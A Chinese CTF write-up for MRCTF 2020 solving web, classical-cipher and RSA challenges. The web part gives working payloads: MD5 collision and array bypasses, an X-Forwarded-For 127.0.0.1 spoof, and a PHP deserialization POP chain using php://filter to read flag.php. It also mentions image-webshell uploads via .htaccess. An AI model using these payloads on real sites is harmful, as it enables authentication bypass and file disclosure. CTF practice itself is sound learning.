MRCTF 2020 WP


MRCTF 2020 WP

引言

  • 周末趁上課之余,做了一下北郵的CTF,這里記錄一下做出來的幾題的WP

ez_bypass

知識點:MD5強類型比較,is_numeric()函數繞過

  • 題目源碼:
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

第一層要繞過md5的強類型比較,有兩種方式

  • 1、使用數組繞過?gg[]=1&id[]=2,因為傳入數組md5()函數無法解出其數值,而且不會報錯
  • 2、就是md5碰撞,使用兩串有相同md5的字符串構造payload如下:
?gg=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60
%FB_%07%FE%A2&id=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%
D1%D5%5D%83%60%FB_%07%FE%A2

第二層要繞過is_numeric()函數

  • 判斷中要先使is_numeric()False,即傳一個非數字或數字字符串即可
  • $passwd==1234567弱相等,使用字符串繞過即可,passwd=1234567asd
  • 至此,此題解題完畢
    MRCTF

PYwebsite

知識點:http header,X-Forwared-For

  • 查看源碼,發現驗證代碼
    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通過了驗證!");
          window.location = "./flag.php"
        }else{
          alert("你的授權碼不正確!");
        }
      }else{
        alert("請輸入授權碼");
      }
      
    }
  • 嘗試破解md5,發現不行,顯然不是簡單的驗證,但又發現驗證成功就會有flag.php,就想直接訪問會使什么樣的呢
  • 遂訪問,發現居然成功訪問,但是卻沒有flag
    MRCTF
  • 查看字樣說我已經把購買者的IP保存了,顯然你沒有購買驗證邏輯是在后端的,除了購買者和我自己,沒有人可以看到flag,發現可能認證和ip有關,於是嘗試修改http頭部字段
  • 幾種常規的嘗試后,發現當改為X-Forwarded-For:127.0.0.1時居然真的就有flag了,至於為什么這樣就可以返回flag,因為他說還記錄了自己的ip所以設置127.0.0.1的話不就相當於自己訪問了嗎,所以就有了flag (っ*´Д)っ`
    MRCTF
    MRCTF

Ezpop

php反序列化

  • 相關原理可以參考這兩個鏈接:
    https://www.cnblogs.com/BOHB-yunying/p/11839385.html#XSzT35dt
    https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
  • php反序列化,說實在的,還沒怎么熟練掌握,所以就按照雲影師傅的那個博客照套了一下,詳細原理請看上面兩篇文章
  • exp如下:
<?php
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str=new Test();
        $this->str->p=new Modifier();

    }
}
class Test{
    public $p;
}
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}
$a=new Show();
$a->source=new Show();
echo serialize($a);
  • payload
?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
  • 注:protected聲明的字段為保護字段,所以保護字段的字段名在序列化時,字段名前面會加上%00*%00的前綴
  • 最后base64解密即可得到flag
    MRCTF

你傳你🐎呢

知識點:圖片馬,.htaccess文件設置

  • 這題基本和GXY2019babyupload一樣,具體操作參考這篇:https://www.cnblogs.com/gaonuoqi/p/12323725.html

天干地支+甲子

古典密碼,傳統知識

  • 這題和實驗吧的那題基本算是原題,根據天干地支表寫出對應數字,然后在每個都加上一甲子(60),最后再轉ASCII即可
  • 天干地支表
1. 甲子 2.乙丑 3.丙寅 4.丁卯 5.戊辰 6.己巳 7.庚午 8.辛未 9.壬申 10.癸酉
11.甲戌 12.乙亥 13.丙子 14.丁丑 15.戊寅 16.己卯 17.庚辰 18.辛巳 19.壬午 20.癸未
21.甲申 22.乙酉 23.丙戌 24.丁亥 25.戊子 26.己丑 27.庚寅 28.辛卯 29.壬辰 30.癸巳
31.甲午 32.乙未 33.丙申 34.丁酉 35.戊戌 36.己亥 37.庚子 38.辛丑 39.壬寅 40.癸卯
41.甲辰 42.乙巳 43.丙午 44.丁未 45.戊申 46.己酉 47.庚戌 48.辛亥 49.壬子 50.癸丑
51.甲寅 52.乙卯 53.丙辰 54.丁巳 55.戊午 56.己未 57.庚申 58.辛酉 59.壬戌 60.癸亥

keyboard

知識點:九宮格密碼

  • 網上隨便找一個手機九宮格對照着寫一下就行,腳本實現見這篇https://www.cnblogs.com/Konmu/p/12527029.html

vigenere

知識點:維吉尼亞密碼

  • 直接在線解密即可
  • 在線網站:https://www.guballa.de/vigenere-solver

古典密碼知多少

知識點:豬圈密碼,銀河密碼,聖堂武士密碼,柵欄密碼

  • 百度搜一下,對照着改下就行了
  • 最后解出來發現是亂的,在柵欄一下就行了

babyRSA

知識點:多素數RSA問題

  • 源碼
import sympy
import random
from gmpy2 import gcd, invert
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, bytes_to_long, long_to_bytes
from z3 import *
flag = b"MRCTF{xxxx}"
base = 65537


def GCD(A):
    B = 1
    for i in range(1, len(A)):
        B = gcd(A[i-1], A[i])
    return B


def gen_p():
    P = [0 for i in range(17)]
    P[0] = getPrime(128)
    for i in range(1, 17):
        P[i] = sympy.nextprime(P[i-1])
    print("P_p :", P[9])
    n = 1
    for i in range(17):
        n *= P[i]
    p = getPrime(1024)
    factor = pow(p, base, n)
    print("P_factor :", factor)
    return sympy.nextprime(p)


def gen_q():
    sub_Q = getPrime(1024)
    Q_1 = getPrime(1024)
    Q_2 = getPrime(1024)
    Q = sub_Q ** Q_2 % Q_1
    print("Q_1: ", Q_1)
    print("Q_2: ", Q_2)
    print("sub_Q: ", sub_Q)
    return sympy.nextprime(Q)


if __name__ == "__main__":
    _E = base
    _P = gen_p()
    _Q = gen_q()
    assert (gcd(_E, (_P - 1) * (_Q - 1)) == 1)
    _M = bytes_to_long(flag)
    _C = pow(_M, _E, _P * _Q)
    print("Ciphertext = ", _C)
'''
P_p : 206027926847308612719677572554991143421
P_factor : 213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839
Q_1:  103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2:  151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q:  168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
Ciphertext =  1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832
'''
  • 這題主要就是解決P,Q的問題,Q基本算是直接給出來的,它的產生可以寫處一句話pow(sub_Q,Q_2,Q_1),而后再對求出的值求nextprime即可
  • 剩下就是P的求解,這個稍微有一些麻煩,首先我們來分析一下他生成的函數

代碼分析

  • 首先這句話P[0] = getPrime(128)生成了一個素數,其中P是一個17元素的列表
  • 而后由這個首個元素的素數生成后續的16個素數,其中給出了P[9]這是第10個元素
  • 在后面就是將這些數連乘求出n,即P[0]*P[1]....P[16]=n
  • 隨后又生成一個素數p(就是我們要想辦法求解的),並由這個數加密得出factor,給出的數也是這個,我們就要通過它求出p
  • 最后返回的函數返回值是pnextprime

p的求解

  • 首先要解決用P[9]還原出整個素數列表,他后面的最好解決,直接調用sympy或者gmpy2nextprimegmpy2中是next_prime)函數向后生成7個即可
  • 代碼如下:
from sympy import nextprime
a=206027926847308612719677572554991143421
a_r=[0 for i in range(8)]
a_r[0]=a
for i in range(1,8):
	a_r[i]=sympy.nextprime(a_r[i-1])
#a_r=[206027926847308612719677572554991143421, 206027926847308612719677572554991143431, 206027926847308612719677572554991143479, 206027926847308612719677572554991143509, 206027926847308612719677572554991143551, 206027926847308612719677572554991143647, 206027926847308612719677572554991143739,206027926847308612719677572554991144039]
  • 下面就是解決P[9]的前九個元素,這個解決也簡單,首先看后面幾個數,大致范圍在1000以內,所以我們可以在前后1000個數之間嘗試爆破,再只要將要生成的列表的最后一個元素設置為P[9],而后再設置判斷滿足是素數且后一個素數是這個的就填入列表
  • 代碼如下:
from sympy import nextprime,isprime
a=206027926847308612719677572554991143421
a_l=[0 for i in range(10)]
a_l[9]=a
for j in range(9):
    for i in range(a_l[9]-1000,a_l[9]):
	if(nextprime(i) == a_l[9-j] and isprime(i)):
            a_l[8-j]=i
#a_l=[206027926847308612719677572554991142909, 206027926847308612719677572554991142911, 206027926847308612719677572554991142977, 206027926847308612719677572554991143071, 206027926847308612719677572554991143103, 206027926847308612719677572554991143121, 206027926847308612719677572554991143133, 206027926847308612719677572554991143317, 206027926847308612719677572554991143401, 206027926847308612719677572554991143421]
  • 到此所有的數都生成出來了,首先解決了n的問題,剩下就是解決p的問題,對於p這里用了一個簡單的RSA,按照常規解法,求出逆元,就可以解出p
  • 那么難點來了,逆元怎么求,我們都知道逆元要通過歐拉函數來求解,而常規解題的歐拉函數是只有兩個素數,求出來的,這里有足足17個素數還能用嗎,答案是肯定的,首先我們可以看一下NSCTF 2019 TechWorld 信息安全挑戰賽的那道三個素數的RSA
    鏈接:https://impakho.com/post/nsctf-2019-techworld-writeup#toc-2
  • 既然兩個和三個的都可以,那么我們可以大膽猜測,用17個來求
for i in range(17):
    phi*=(P[i]-1)
  • 好了到此,p也解決了,剩下就是nextprime一下就可以得出P
  • 到此所有參數都齊全了,想必你也看累了吧(๑•̀ㅂ•́)و✧,好了完整exp來了(這里還是用了gmpy2庫)
# -*- conding:utf-8 -*-
# Author: Konmu
from Crypto.Util.number import long_to_bytes
from gmpy2 import next_prime,invert

Q_1=103766439849465588084625049495793857634556517064563488433148224524638105971161051763127718438062862548184814747601299494052813662851459740127499557785398714481909461631996020048315790167967699932967974484481209879664173009585231469785141628982021847883945871201430155071257803163523612863113967495969578605521
Q_2=151010734276916939790591461278981486442548035032350797306496105136358723586953123484087860176438629843688462671681777513652947555325607414858514566053513243083627810686084890261120641161987614435114887565491866120507844566210561620503961205851409386041194326728437073995372322433035153519757017396063066469743
sub_Q=168992529793593315757895995101430241994953638330919314800130536809801824971112039572562389449584350643924391984800978193707795909956472992631004290479273525116959461856227262232600089176950810729475058260332177626961286009876630340945093629959302803189668904123890991069113826241497783666995751391361028949651
_Q=pow(sub_Q,Q_2,Q_1)
_Q=next_prime(_Q)
_E=65537
phi=1
P=[206027926847308612719677572554991142909, 206027926847308612719677572554991142911, 206027926847308612719677572554991142977, 206027926847308612719677572554991143071, 206027926847308612719677572554991143103, 206027926847308612719677572554991143121, 206027926847308612719677572554991143133, 206027926847308612719677572554991143317, 206027926847308612719677572554991143401, 206027926847308612719677572554991143421, 206027926847308612719677572554991143431, 206027926847308612719677572554991143479, 206027926847308612719677572554991143509, 206027926847308612719677572554991143551, 206027926847308612719677572554991143647, 206027926847308612719677572554991143739, 206027926847308612719677572554991144039]
n=1
P_factor=213671742765908980787116579976289600595864704574134469173111790965233629909513884704158446946409910475727584342641848597858942209151114627306286393390259700239698869487469080881267182803062488043469138252786381822646126962323295676431679988602406971858136496624861228526070581338082202663895710929460596143281673761666804565161435963957655012011051936180536581488499059517946308650135300428672486819645279969693519039407892941672784362868653243632727928279698588177694171797254644864554162848696210763681197279758130811723700154618280764123396312330032986093579531909363210692564988076206283296967165522152288770019720928264542910922693728918198338839
_C=1709187240516367141460862187749451047644094885791761673574674330840842792189795049968394122216854491757922647656430908587059997070488674220330847871811836724541907666983042376216411561826640060734307013458794925025684062804589439843027290282034999617915124231838524593607080377300985152179828199569474241678651559771763395596697140206072537688129790126472053987391538280007082203006348029125729650207661362371936196789562658458778312533505938858959644541233578654340925901963957980047639114170033936570060250438906130591377904182111622236567507022711176457301476543461600524993045300728432815672077399879668276471832

for i in range(len(P)):
    n*=P[i]
for i in range(len(P)):
    phi*=(P[i]-1)
d=int(invert(_E,phi))
p_1=pow(P_factor,d,n)
_P=next_prime(p_1)
_phi=(_Q-1)*(_P-1)
_N=_P*_Q
_D=invert(_E,_phi)
_M=pow(_C,_D,_N)
print(long_to_bytes(_M))
#flag:MRCTF{sti11_@_b@by_qu3st10n}

Easy_RSA

知識點:詳見春秋戰疫賽2020的simple_math:https://mp.weixin.qq.com/s/KQcIezdKquRa4wgFBglVYg

  • 這題比春秋那題要簡單,准確說就是用那題改的,其中_Q的生成基本沒變,除了getRandomNBitInteger時范圍取大了一些所以再用ed那個公式時要把參數改為2**4,原理見上面那篇文章
  • 對於_p的求解解一個方程即可
  • 我們知道了\(n=p\times q\)\(phi=(p-1)\times (q-1)\)可以推出\((p-1)\times (n-p)-a\times p=0\),解出有兩個解,即pq,因為他們列出來式子是一樣的,剩下來參數就全解出來了
# p,q求解
from sympy import solve,Symbol
phi=14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024099427363967321110127562039879018616082926935567951378185280882426903064598376668106616694623540074057210432790309571018778281723710994930151635857933293394780142192586806292968028305922173313521186946635709194350912242693822450297748434301924950358561859804256788098033426537956252964976682327991427626735740
n=14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024336556028267742021320891681762543660468484018686865891073110757394154024833552558863671537491089957038648328973790692356014778420333896705595252711514117478072828880198506187667924020260600124717243067420876363980538994101929437978668709128652587073901337310278665778299513763593234951137512120572797739181693
x=sympy.Symbol('x')
print(sympy.solve((n-x)*(x-1)-a*x,x))
#[118153578345562250550767057731385782963063734586321112579869747650001448473633860305142281504862521928246520876300707405515141444727550839066835195905927281903880307860942630322499106164191736174201506457157272220802515607939618476716593888428832962374494147723577980992661629254713116923690067827155668889571, 118975085954858660642562584152139261422493348532593400307960127317249511761542030451912561362687361053191375307180413931721355251895350936376781657674896801388806379750757264377396608174235075021854614328009897408824235800167369204203680938298803752964983358298299699273425596382268869237139724754214443556383]
  • 完整exp:
# -*- coding:utf-8 -*-
# Author:Konmu
from Crypto.Util.number import *
import gmpy2
import sympy

P_n =  14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024336556028267742021320891681762543660468484018686865891073110757394154024833552558863671537491089957038648328973790692356014778420333896705595252711514117478072828880198506187667924020260600124717243067420876363980538994101929437978668709128652587073901337310278665778299513763593234951137512120572797739181693
P_F_n =  14057332139537395701238463644827948204030576528558543283405966933509944444681257521108769303999679955371474546213196051386802936343092965202519504111238572269823072199039812208100301939365080328518578704076769147484922508482686658959347725753762078590928561862163337382463252361958145933210306431342748775024099427363967321110127562039879018616082926935567951378185280882426903064598376668106616694623540074057210432790309571018778281723710994930151635857933293394780142192586806292968028305922173313521186946635709194350912242693822450297748434301924950358561859804256788098033426537956252964976682327991427626735740
Q_n =  20714298338160449749545360743688018842877274054540852096459485283936802341271363766157976112525034004319938054034934880860956966585051684483662535780621673316774842614701726445870630109196016676725183412879870463432277629916669130494040403733295593655306104176367902352484367520262917943100467697540593925707162162616635533550262718808746254599456286578409187895171015796991910123804529825519519278388910483133813330902530160448972926096083990208243274548561238253002789474920730760001104048093295680593033327818821255300893423412192265814418546134015557579236219461780344469127987669565138930308525189944897421753947
Q_E_D =  100772079222298134586116156850742817855408127716962891929259868746672572602333918958075582671752493618259518286336122772703330183037221105058298653490794337885098499073583821832532798309513538383175233429533467348390389323225198805294950484802068148590902907221150968539067980432831310376368202773212266320112670699737501054831646286585142281419237572222713975646843555024731855688573834108711874406149540078253774349708158063055754932812675786123700768288048445326199880983717504538825498103789304873682191053050366806825802602658674268440844577955499368404019114913934477160428428662847012289516655310680119638600315228284298935201
Ciphertext =  40855937355228438525361161524441274634175356845950884889338630813182607485910094677909779126550263304194796000904384775495000943424070396334435810126536165332565417336797036611773382728344687175253081047586602838685027428292621557914514629024324794275772522013126464926990620140406412999485728750385876868115091735425577555027394033416643032644774339644654011686716639760512353355719065795222201167219831780961308225780478482467294410828543488412258764446494815238766185728454416691898859462532083437213793104823759147317613637881419787581920745151430394526712790608442960106537539121880514269830696341737507717448946962021
_p=118153578345562250550767057731385782963063734586321112579869747650001448473633860305142281504862521928246520876300707405515141444727550839066835195905927281903880307860942630322499106164191736174201506457157272220802515607939618476716593888428832962374494147723577980992661629254713116923690067827155668889571
_q=118975085954858660642562584152139261422493348532593400307960127317249511761542030451912561362687361053191375307180413931721355251895350936376781657674896801388806379750757264377396608174235075021854614328009897408824235800167369204203680938298803752964983358298299699273425596382268869237139724754214443556383
factor2 =2021 * _p + 2020 * _q
k=Q_E_D-1
x=pow(2,k//(2**4),Q_n)
assert(x!=1)
p=gmpy2.gcd(x-1,Q_n)
q=Q_n//p
if(p>q):
    p,q=q,p
seed2=2021*p-2020*q
if seed2<0:
    seed2=(-1)*seed2
_Q=gmpy2.next_prime(seed2)
_P=gmpy2.next_prime(factor2)
_E=65537
_C=40855937355228438525361161524441274634175356845950884889338630813182607485910094677909779126550263304194796000904384775495000943424070396334435810126536165332565417336797036611773382728344687175253081047586602838685027428292621557914514629024324794275772522013126464926990620140406412999485728750385876868115091735425577555027394033416643032644774339644654011686716639760512353355719065795222201167219831780961308225780478482467294410828543488412258764446494815238766185728454416691898859462532083437213793104823759147317613637881419787581920745151430394526712790608442960106537539121880514269830696341737507717448946962021
_D=int(gmpy2.invert(_E,(_P-1)*(_Q-1)))
_N=_Q*_P
_M=pow(_C,_D,_N)
print(long_to_bytes(_M))

ezmisc

知識點:圖片改高度

MRCTF

總結

  • 由於是在課余時間做的,這次misc就沒怎么看,主要還是想以練習web為主,但是還是沒能做出比較復雜的題目,還是要多加練習,賽后看大佬wp復現學習一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM